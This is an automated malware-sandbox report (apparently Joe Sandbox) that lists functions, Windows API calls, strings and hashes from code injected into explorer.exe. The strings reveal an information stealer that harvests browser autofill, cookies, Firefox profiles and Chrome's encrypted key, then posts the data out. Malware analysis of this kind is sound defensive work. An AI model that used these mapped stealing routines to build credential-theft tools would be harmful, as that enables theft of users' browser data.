Source File: 00000007.00000002.2375213933.0000000000847000.00000040.80000000.00040000.00000000.sdmp, Offset: 00847000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_847000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 106e5a7f180de2e66b0bf93fd4fc1fef305e6ab6dc4ed712bb108012cb19ffb5
Instruction ID: 36ae9cf180711c53da128bdf57ba9c622501ce456ba6b0005a7899df10b00852
Opcode Fuzzy Hash: 106e5a7f180de2e66b0bf93fd4fc1fef305e6ab6dc4ed712bb108012cb19ffb5
Instruction Fuzzy Hash: E5A1397291475A5BDB318E78CCC06A2BBA4FB52324B2D06ADC5E1CB2C2E7A4580BC755

Function 007E4B92 Relevance: 3.0, APIs: 2, Instructions: 26nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 007E1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 007E116F

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 007E4BB6
NtUnmapViewOfSection.NTDLL(000000FF), ref: 007E4BBF

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: 51057e2e58ac084adc5c75899fb2e88d167ba1c01d166a5577ecf4f6243a6792
Instruction ID: a1186973371330a129850d9bbce1f4a78cd3de6fed00e1c68635ae7c504584d9
Opcode Fuzzy Hash: 51057e2e58ac084adc5c75899fb2e88d167ba1c01d166a5577ecf4f6243a6792
Instruction Fuzzy Hash: 0AE0D871802290E7CA58BB36BC1EA4B3B58AF9A361F10C914F26592090DA3DC841C660

Function 007E1011 Relevance: 3.0, APIs: 2, Instructions: 12memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007E1162: VirtualQuery.KERNEL32(?,?,0000001C), ref: 007E116F

GetProcessHeap.KERNEL32(00000000,00000000,?,007E1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2), ref: 007E1020
RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1027

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: c577c97a9eab4682f1207cfbfdd1ca31b430fda8dd96af02ef1f113e607c6480
Instruction ID: f0c20b85706ee4dc181ed08eafa581259dd9495c746880ec1785d12eeb200969
Opcode Fuzzy Hash: c577c97a9eab4682f1207cfbfdd1ca31b430fda8dd96af02ef1f113e607c6480
Instruction Fuzzy Hash: 48C08C310022A0A2C96027A93C0EBCE3B18EF8D222F000881B60193142CAB98C4082A0

Function 007E6512 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(008420A4,00000001,00000000,0000000A,00833127,007E28DA,00000000,?), ref: 007EBFFC

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 2c753ebd06eaf0d0203d00e69c54f1e53a149b90261efbfd83a0f7e9ba3ca59e
Instruction ID: 28c0423bb8933fdd1e0579945219bed349647f037b352101d547bb9a0f980793
Opcode Fuzzy Hash: 2c753ebd06eaf0d0203d00e69c54f1e53a149b90261efbfd83a0f7e9ba3ca59e
Instruction Fuzzy Hash: 85E092317C6384B0EA1033FA6C0FF461445ABA9F80F604521B720E81CADB9D90901022

Function 007E3C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 147
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,007E2893,00000000,00000000,00000000,?), ref: 007E1B82
Part of subcall function 007E1B6A: CloseHandle.KERNELBASE(00000000), ref: 007E1B8F

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

GetTempPathW.KERNEL32(00000104,00000000), ref: 007E3C6A
GetTempFileNameW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 007E3C76
DeleteFileW.KERNELBASE(00000000), ref: 007E3C7D
CopyFileW.KERNELBASE(?,00000000,00000000), ref: 007E3C89
lstrlen.KERNEL32(00000000,?,?,?,?,00000000,00000000,?), ref: 007E3D2F
lstrlen.KERNEL32(00000000), ref: 007E3D36
wsprintfA.USER32 ref: 007E3D55
lstrlen.KERNEL32(00000000), ref: 007E3D61
lstrcat.KERNEL32(00000000,?), ref: 007E3D89
lstrlen.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 007E3DB2
DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 007E3DED

Strings

%s = %s, xrefs: 007E3D4F
SELECT name,value FROM autofill, xrefs: 007E3CAA
AUTOFILL, xrefs: 007E3DBD, 007E3DC2, 007E3DCC

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: File$lstrlen$DeleteHeapTemp$AllocateCloseCopyCreateHandleNamePathProcesslstrcatwsprintf
String ID: %s = %s$AUTOFILL$SELECT name,value FROM autofill
API String ID: 2923052733-3488123210
Opcode ID: 328db580bd4735d4e05d970a42a737e2ffb5a7934eb96ba3df8ef7e6acbdf0d7
Instruction ID: 7b3ff8116fa9fc8aa90e23742ede05b8f0646207df548a2ad292655a86a872da
Opcode Fuzzy Hash: 328db580bd4735d4e05d970a42a737e2ffb5a7934eb96ba3df8ef7e6acbdf0d7
Instruction Fuzzy Hash: F541A430605281ABD715AB7ACC8AD3F77ADEFC9744F40482CF445E7252EA39DD058B62

Function 007E28F8 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 158
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(00000000,00000000,?), ref: 007E2AD2

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

lstrlen.KERNEL32(00000000,?,?,?,?,?,?), ref: 007E29E1
lstrlen.KERNEL32(00000000), ref: 007E29EC
wsprintfA.USER32 ref: 007E2A38
lstrlen.KERNEL32(00000000), ref: 007E2A44
lstrcat.KERNEL32(00000000,00000000), ref: 007E2A6C
lstrlen.KERNEL32(00000000,?,?), ref: 007E2A99

Strings

TRUE, xrefs: 007E2A13
COOKIES, xrefs: 007E2AA4, 007E2AAB, 007E2AB1
FALSE, xrefs: 007E2A06
%sTRUE%s%s%s%s%s, xrefs: 007E2A32

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: lstrlen$Heap$AllocateDeleteFileProcesslstrcatwsprintf
String ID: %sTRUE%s%s%s%s%s$COOKIES$FALSE$TRUE
API String ID: 304071051-2605711689
Opcode ID: bec62ef71978f611cb9a35f4624bc79fbb4bb6f118cbc11cd159b5942991e9c6
Instruction ID: b32b03b29633767f78508882712f210b53d3a5d580f8213ace42044430040af5
Opcode Fuzzy Hash: bec62ef71978f611cb9a35f4624bc79fbb4bb6f118cbc11cd159b5942991e9c6
Instruction Fuzzy Hash: 0451A1306063C69BC725EF369855A3E76D9AFCD304F04482DF885AB253EB39DC468762

Function 007E2CB5 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 112
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,007E2F0C), ref: 007E1973
Part of subcall function 007E1953: lstrlenW.KERNEL32(00836564,?,?,007E2F0C), ref: 007E1978
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,?,?,?,007E2F0C), ref: 007E1990
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,00836564,?,?,007E2F0C), ref: 007E1994

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

Part of subcall function 007E1B6A: CreateFileW.KERNELBASE(00000000,00000080,00000000,00000000,00000003,00000000,00000000,00000000,007E2893,00000000,00000000,00000000,?), ref: 007E1B82
Part of subcall function 007E1B6A: CloseHandle.KERNELBASE(00000000), ref: 007E1B8F

GetPrivateProfileSectionNamesW.KERNEL32(00000000,0000FDE8,00000000), ref: 007E2D13
StrStrIW.SHLWAPI(00000000,Profile), ref: 007E2D45
GetPrivateProfileStringW.KERNEL32(00000000,Path,0083637C,?,00000FFF,?), ref: 007E2D68
GetPrivateProfileIntW.KERNEL32(00000000,IsRelative,00000001,?), ref: 007E2D7B
lstrlenW.KERNEL32(00000000), ref: 007E2DD8

Strings

Profile, xrefs: 007E2D3F
profiles.ini, xrefs: 007E2CCD
IsRelative, xrefs: 007E2D75
Path, xrefs: 007E2D62

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: PrivateProfilelstrlen$Heaplstrcat$AllocateCloseCreateFileHandleNamesProcessSectionString
String ID: IsRelative$Path$Profile$profiles.ini
API String ID: 2234428054-4107377610
Opcode ID: a40e0fb4eecb1a15bb24d0a8251681fcdf4d890f144fb16aa815e5eacc7f852a
Instruction ID: 55a6e9b884f3b8b80d64cc35c33bbea70cefbb9a1b87666155b25f4e6eaf4ca9
Opcode Fuzzy Hash: a40e0fb4eecb1a15bb24d0a8251681fcdf4d890f144fb16aa815e5eacc7f852a
Instruction Fuzzy Hash: E031A230706381ABD614EB368C1662F77A6AFCD300F50883DFA45A7293EA7D8C569791

Function 007E1333 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

Part of subcall function 007E106C: lstrlen.KERNEL32(032A163E,00000000,00000000,00000000,007E1366,75568A60,032A163E,00000000), ref: 007E1074
Part of subcall function 007E106C: MultiByteToWideChar.KERNEL32(00000000,00000000,032A163E,00000001,00000000,00000000), ref: 007E1086

Part of subcall function 007E12A3: RtlZeroMemory.NTDLL(?,00000018), ref: 007E12B5

RtlZeroMemory.NTDLL(?,0000003C), ref: 007E13C2
wsprintfW.USER32 ref: 007E14B5
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 007E1594

Strings

Accept: */*Referer: %S, xrefs: 007E14AF
Content-Type: application/x-www-form-urlencoded, xrefs: 007E14FB
POST, xrefs: 007E1465

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: 5b74b0d18cf40e833f3a899548883faf39606a182c20c35ca3280c6aa39b7404
Instruction ID: 7ac1fd7ca74f6251d50ab2956feafd14711a853d171b64789f30c356b796f654
Opcode Fuzzy Hash: 5b74b0d18cf40e833f3a899548883faf39606a182c20c35ca3280c6aa39b7404
Instruction Fuzzy Hash: F77157B0609381AFD7109F29DC89A2FBBE9FB88344F40492DF955C3251EB78D9148B92

Function 007EB1E5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,00000000,00000004,00000000,00000006,00000000,?,?,00000000), ref: 007EB31D
MapViewOfFile.KERNELBASE(?,?,00000000,?,?), ref: 007EB34F

Strings

winShmMap2, xrefs: 007EB2CF
winShmMap3, xrefs: 007EB399
winShmMap1, xrefs: 007EB278

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: File$CreateMappingView
String ID: winShmMap1$winShmMap2$winShmMap3
API String ID: 3452162329-3826999013
Opcode ID: 86c7ab7815ab4ef047e4df9f6797b538f0535ce1b576a6a6d7a93cc5e88c6668
Instruction ID: 167ed9be1bb686e6a33d120501ef97a147f3b4331e48ab434bc0da60c1a1a19b
Opcode Fuzzy Hash: 86c7ab7815ab4ef047e4df9f6797b538f0535ce1b576a6a6d7a93cc5e88c6668
Instruction Fuzzy Hash: 06518075205781DFDB15CF56C886A2B7BE5FF88314F10882EE9528B251DB78EC05CB51

Function 007EA40E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.NTDLL(?,?,?), ref: 007EA455
memcpy.NTDLL(?,?,?), ref: 007EA479
ReadFile.KERNELBASE(?,?,?,?,?), ref: 007EA4DB
memset.NTDLL ref: 007EA546

Strings

winRead, xrefs: 007EA515

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: winRead
API String ID: 2051157613-2759563040
Opcode ID: 0d3b210eb2751b23071a33992471c5e05f8b4a08cf2f1df2a97f9385c01f3307
Instruction ID: 0d7a678d8e7573b5567bfeb71ede4ee774bdaeb2f72f25315ee243e6fc0285bb
Opcode Fuzzy Hash: 0d3b210eb2751b23071a33992471c5e05f8b4a08cf2f1df2a97f9385c01f3307
Instruction Fuzzy Hash: 49318B7220A280BBCB50DE19CC8999F77EAFFC9310F845928F98597251E674FC048B93

Function 007E2E30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIW.KERNELBASE(?,?), ref: 007E2E4B
RegOpenKeyExW.KERNELBASE(?,?,00000000,00020119,?), ref: 007E2EE4
RegEnumKeyExW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 007E2F54
RegCloseKey.KERNELBASE(?), ref: 007E2F62

Part of subcall function 007E19E5: RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1A1E
Part of subcall function 007E19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 007E1A3C
Part of subcall function 007E19E5: RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 007E1A75
Part of subcall function 007E19E5: RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1A98

Part of subcall function 007E1BC5: lstrlenW.KERNEL32(00000000,00000000,?,007E2E75,PathToExe,00000000,00000000), ref: 007E1BCC
Part of subcall function 007E1BC5: StrStrIW.SHLWAPI(00000000,.exe,?,007E2E75,PathToExe,00000000,00000000), ref: 007E1BF0
Part of subcall function 007E1BC5: StrRChrIW.SHLWAPI(00000000,00000000,0000005C,?,007E2E75,PathToExe,00000000,00000000), ref: 007E1C05
Part of subcall function 007E1BC5: lstrlenW.KERNEL32(00000000,?,007E2E75,PathToExe,00000000,00000000), ref: 007E1C1C

Part of subcall function 007E1AFE: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,00000000,00000000,?,?,007E2E83,PathToExe,00000000,00000000), ref: 007E1B16

Strings

PathToExe, xrefs: 007E2E5E

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: CloseOpenQueryValuelstrlen$EnumFolderPath
String ID: PathToExe
API String ID: 1799103994-1982016430
Opcode ID: b4d63dbbb962cc09fbfd92c87e1a97d536c24c956267659d116116461e8af75f
Instruction ID: c3ce672028d73b0c470fa5886fbdd9a1d75773425c6e1cd9341fa1d5cff7e01e
Opcode Fuzzy Hash: b4d63dbbb962cc09fbfd92c87e1a97d536c24c956267659d116116461e8af75f
Instruction Fuzzy Hash: 83319171606291AF8715AF26CC1AC7F7AA9EFCC350F00852CF85587242EE38DD16CBA1

Function 007EA67C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 78
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_alldiv.NTDLL(?,?,?), ref: 007EA6AD
_allmul.NTDLL(00000000,?,?), ref: 007EA6B6
SetEndOfFile.KERNELBASE(?), ref: 007EA6F3

Strings

winTruncate1, xrefs: 007EA6DF
winTruncate2, xrefs: 007EA717

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: File_alldiv_allmul
String ID: winTruncate1$winTruncate2
API String ID: 3568847005-470713972
Opcode ID: 3536270da5d4005ec628aead4edac18ae04174bc090cefd85d16951810e21c93
Instruction ID: 26361dc385b54427066a5c2f6e1713e9d9253e4e68a0634313c46304d5a5050e
Opcode Fuzzy Hash: 3536270da5d4005ec628aead4edac18ae04174bc090cefd85d16951810e21c93
Instruction Fuzzy Hash: 5A21CC72202240BBCB14CE2ACC85E6777A9FF89310F158169FD14CB285DA39EC40CBA2

Function 007E4A71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52registryCOMMON

Download Yara Rule

APIs

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

wsprintfW.USER32 ref: 007E4AA2
RegCreateKeyExW.KERNELBASE(80000001,00000000,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 007E4AC7
RegCloseKey.KERNELBASE(?), ref: 007E4AD4

Strings

%s\%08x, xrefs: 007E4A9C
Software, xrefs: 007E4A95

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: Heap$AllocateCloseCreateProcesswsprintf
String ID: %s\%08x$Software
API String ID: 1800864259-1658101971
Opcode ID: d8cf1243339c9f8eb0ea02d0d22312f033b337db0e828dd4dc02a2b62f490710
Instruction ID: f6a61c4323a822e740578360bcfa9a6ab78c0564086abbeed5ff5e6853aa265d
Opcode Fuzzy Hash: d8cf1243339c9f8eb0ea02d0d22312f033b337db0e828dd4dc02a2b62f490710
Instruction Fuzzy Hash: C801DF71601108BFDB189B99DC8ADBF77ADEB85354F40416EF505E3140EAB06E9096A4

Function 007E4317 Relevance: 7.6, APIs: 5, Instructions: 64registryCOMMON

Download Yara Rule

APIs

_alloca_probe.NTDLL ref: 007E431C
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 007E4335
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 007E4363
RegCloseKey.ADVAPI32(?), ref: 007E43C8

Part of subcall function 007E1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,007E2F0C), ref: 007E1973
Part of subcall function 007E1953: lstrlenW.KERNEL32(00836564,?,?,007E2F0C), ref: 007E1978
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,?,?,?,007E2F0C), ref: 007E1990
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,00836564,?,?,007E2F0C), ref: 007E1994

Part of subcall function 007E418A: wsprintfW.USER32 ref: 007E4212

Part of subcall function 007E1011: GetProcessHeap.KERNEL32(00000000,00000000,?,007E1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2), ref: 007E1020
Part of subcall function 007E1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1027

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 007E43B9

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$CloseFreeOpenProcess_alloca_probewsprintf
String ID:
API String ID: 801677237-0
Opcode ID: 3c6f5d7c561c886c1d9dc21258ad58932945e323c99e67f99f491bc18eec7653
Instruction ID: 0d8d5f106fd94c26befcb4ec0964f7b529e6651ff84abfc7de0caaac9f417ed3
Opcode Fuzzy Hash: 3c6f5d7c561c886c1d9dc21258ad58932945e323c99e67f99f491bc18eec7653
Instruction Fuzzy Hash: 881182B1104241BFE7159B15CC5ADBF77ECFB88304F00892EF489E2110EB78AD589A72

Function 007EB87B Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202fileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 007EB8D5
CreateFileW.KERNELBASE(00000000,?,00000003,00000000,-00000003,?,00000000), ref: 007EB96F

Strings

winOpen, xrefs: 007EBA22
psow, xrefs: 007EBA95

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: CreateFilememset
String ID: psow$winOpen
API String ID: 2416746761-4101858489
Opcode ID: 9ebe96e02f796bfed02407f35421ed0797ee222f19fe03bfa6669f4441c8fcff
Instruction ID: 986d52b05f857f9d401d9a4edfdc103b93b5146e8d2651110c1ef0288d735815
Opcode Fuzzy Hash: 9ebe96e02f796bfed02407f35421ed0797ee222f19fe03bfa6669f4441c8fcff
Instruction Fuzzy Hash: 6B717D71A06742DFCB10DF2AC88571ABBE0FF88364F104A29F964D7291D778E944CB92

Function 007E19E5 Relevance: 6.1, APIs: 4, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1A1E
RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 007E1A3C
RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,00000000,?,?,?,00000000,-00000201,?,?,00000016), ref: 007E1A75
RegCloseKey.KERNELBASE(?,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1A98

Part of subcall function 007E1011: GetProcessHeap.KERNEL32(00000000,00000000,?,007E1A92,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2), ref: 007E1020
Part of subcall function 007E1011: RtlFreeHeap.NTDLL(00000000,?,?,00000000,-00000201,?,?,00000016,?,?,?,?,007E1AE2,PortNumber,00000000,00000000), ref: 007E1027

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: HeapQueryValue$CloseFreeOpenProcess
String ID:
API String ID: 217796345-0
Opcode ID: d0c3ff357eda2577dcf5621a8ed30f9f93c4d3b64550f1a2ee2571f968db1c10
Instruction ID: 613b251175bd99feb4a309a537569609732d7dc52831f22b7b20d6c62e884a52
Opcode Fuzzy Hash: d0c3ff357eda2577dcf5621a8ed30f9f93c4d3b64550f1a2ee2571f968db1c10
Instruction Fuzzy Hash: A321A2722072C1AFE7288B269D0AF7B77E9EBCC744F048A2DF58592140E638DD408721

Function 007E1EC1 Relevance: 6.1, APIs: 4, Instructions: 82registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(?,?,?), ref: 007E1ED5

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007E1F0C
RegCloseKey.ADVAPI32(?), ref: 007E1F98

Part of subcall function 007E1953: lstrlenW.KERNEL32(?,00000000,00000000,?,?,007E2F0C), ref: 007E1973
Part of subcall function 007E1953: lstrlenW.KERNEL32(00836564,?,?,007E2F0C), ref: 007E1978
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,?,?,?,007E2F0C), ref: 007E1990
Part of subcall function 007E1953: lstrcatW.KERNEL32(00000000,00836564,?,?,007E2F0C), ref: 007E1994

RegEnumKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007E1F82

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: EnumHeaplstrcatlstrlen$AllocateCloseOpenProcess
String ID:
API String ID: 1077800024-0
Opcode ID: db544485bdec4daf57e7f5def7687afde48fc68ac02b525625291f46ded6f57e
Instruction ID: 50d0959849a62c525565d982cf68ad6dba6e8bb2ca705fd792525fddbe39dcb7
Opcode Fuzzy Hash: db544485bdec4daf57e7f5def7687afde48fc68ac02b525625291f46ded6f57e
Instruction Fuzzy Hash: 7D219C70209381BFD7059B26CC4AD2FBBEDEFC8304F40892CF49992111EB38CD149A62

Function 007E1C31 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,00000000,00000000,007E3E1E,00000000,?,007E3FA8), ref: 007E1C46
GetFileSize.KERNEL32(00000000,00000000,00000000,?,007E3FA8), ref: 007E1C56
CloseHandle.KERNELBASE(00000000,?,007E3FA8), ref: 007E1C91

Part of subcall function 007E1000: GetProcessHeap.KERNEL32(00000008,?,007E11C7,?,?,00000001,00000000,?), ref: 007E1003
Part of subcall function 007E1000: RtlAllocateHeap.NTDLL(00000000), ref: 007E100A

ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000,?,007E3FA8), ref: 007E1C76

Memory Dump Source

Source File: 00000007.00000002.2375213933.00000000007E1000.00000040.80000000.00040000.00000000.sdmp, Offset: 007E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7e1000_explorer.jbxd

Similarity

API ID: File$Heap$AllocateCloseCreateHandleProcessReadSize
String ID:
API String ID: 2517252058-0
Opcode ID: 3b29932cafcbb3c2f04e34e5fadfa910323f091720ace1f11d3d96ba3d7ccdcb
Instruction ID: 22d3519a3bb3135e7ac44189c36541e9598472e9628137f5efe2f64ab6643699
Opcode Fuzzy Hash: 3b29932cafcbb3c2f04e34e5fadfa910323f091720ace1f11d3d96ba3d7ccdcb
Instruction Fuzzy Hash: 5CF0F4312012187BC2241B2ADC8AE7F7B5CEB8A7F9B220B18F405D21A0FB2A6C514170

Function 007E2FB1 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 31stringCOMMON

Download Yara Rule

APIs

StrStrIA.KERNELBASE(00000000,"encrypted_key":",00000000,00000000,00000000,007E3E30,00000000,00000000,?,007E3FA8), ref: 007E2FC1
lstrlen.KERNEL32("encrypted_key":",?,007E3FA8), ref: 007E2FCE
StrStrIA.SHLWAPI("encrypted_key":",0083692C,?,007E3FA8), ref: 007E2FDD

Part of subcall function 007E190B: lstrlen.KERNEL32(?,?,?,?,00000000,007E2783), ref: 007E192B
